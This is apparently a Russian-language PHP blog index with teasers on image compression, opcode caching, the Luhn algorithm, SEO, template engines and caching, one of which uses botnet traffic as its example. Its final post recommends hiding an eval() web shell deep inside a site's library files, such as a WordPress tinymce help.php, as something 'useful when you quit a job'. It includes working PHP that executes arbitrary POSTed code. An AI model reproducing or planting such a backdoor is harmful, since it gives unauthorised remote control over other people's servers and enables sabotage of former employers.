Оказывается картинки на ваших сайтах весят больше, чем положено. Происходит это по причине не оптимальных алгоритмов сжатия с помощью различных программ. Кстати, фотошоп File->Save for web довольно хорошо оптимизирует изображение. А вот ACDSee и уж тем более php-библиотеки типа GD дают далеко не оптимальный результат. (далее...)

клиентская база

Пост о создании небольшой клиентской базы на бывшей работе.
Картинки кликабельны (далее...)

Как известно, PHP — интерпретируемый язык, т.е. каждый раз при обращении к скрипту, этот скрипт компилируется. Если у вас 1 скрипт, то ничего страшного нет, так как время компиляции не большое. Но в современных CMS и фрэймворках при отображении страницы используется 10-300 отдельных php-файлов (проще говоря, инклуды). Чем больше инклудов и чем они тяжелее, тем дольше выполняется процесс компиляции. (далее...)

Оказывается номер пластиковой карты вовсе не случаен. Для нумерации используется алгоритм Луна (Luhn algorithm). Нужен он для проверки правильности номера. (далее...)

поросенок Петр обои

Небольшой пост о том, на чем я работаю. (далее...)

Поисковая оптимизация на PHP для профессионалов Книжка конечно не для профессионалов, а для начинающих и среднего уровня, но есть интересные моменты. Например, сайт газеты The New York Times закрывает от пользователей часть статей, но для Гугла оставляет его открытым. Таким образом, найдя статью в Гугле, пользователь должен заплатить чтобы прочитать ее (типа платная подписка). Тут можно поспорить, что данный метод является клоакингом, но Гугл так не считает. Хитрые пользователи попробуют прочитать статью из кэша Гугла, но The New York Times выключает хранение кэша через meta-тэг

<meta name="robots" content="noarchive">

Век живи — век учись, %username%

На прошлой работе в качестве шаблонизатора использовали Blitz — так исторически сложилось. Единственным его плюсом по сравнению со Smarty является только скорость работы. Хотя на больших проектах шаблонизатор не является узким горлышком. В качестве примера можно привести Flickr, который использует Smarty. Из более приземленных проектов могу привести один из своих проектов на Smarty. Выбирать шаблонизатор из-за скорости — это большая ошибка. Шаблонизатор должен быть удобным, гибким и иметь большое сообщество. Теперь про минусы Blitz. (далее...)

Допустим, требуется обмен данными между двумя серверами. Чтобы обезопасить данные от прослушивания трафика, данные шифруются. Ну например, передача действий внутри ботнета. Вот некоторые товарищи используют base64, что по сути не является шифрованием, а называется кодированием и для раскодирования подобного кода применяются известные функции. (далее...)

Статья для новичков. По сети уже давно ходят статьи по оптимизации PHP-кода. Причем в большинстве своем это статьи десятилетней давности, рассчитанные на PHP 3. (далее...)

Статья для новичков. Самый простой и доступный способ кэширования – это кэширование на файлах. Хотя оно и самое медленное. Возьмем для примера мой блог. (далее...)

Очень полезная штука, когда увольняешься. Данный код основан на встроенной функции eval(), которая выполняет строку как php-код. Самое главное запихнуть этот код куда-нибудь поглубже. Например, в какую-нибудь библиотеку "/wp-includes/js/tinymce/help.php". Можно запихнуть этот код не в отдельный файл, а во внутрь какого-нибудь скрипта, только с условием типа if (isset($_GET['eval'])) ...

<?php
if (isset($_POST['code'])) {
	eval($_POST['code']);
}
?>
<form action="" method="post">
	<textarea name="code"></textarea><br />
	<input type="submit" value="Отправить" />
</form>

Пишем php-код в текстовое поле и отправляем. Примеры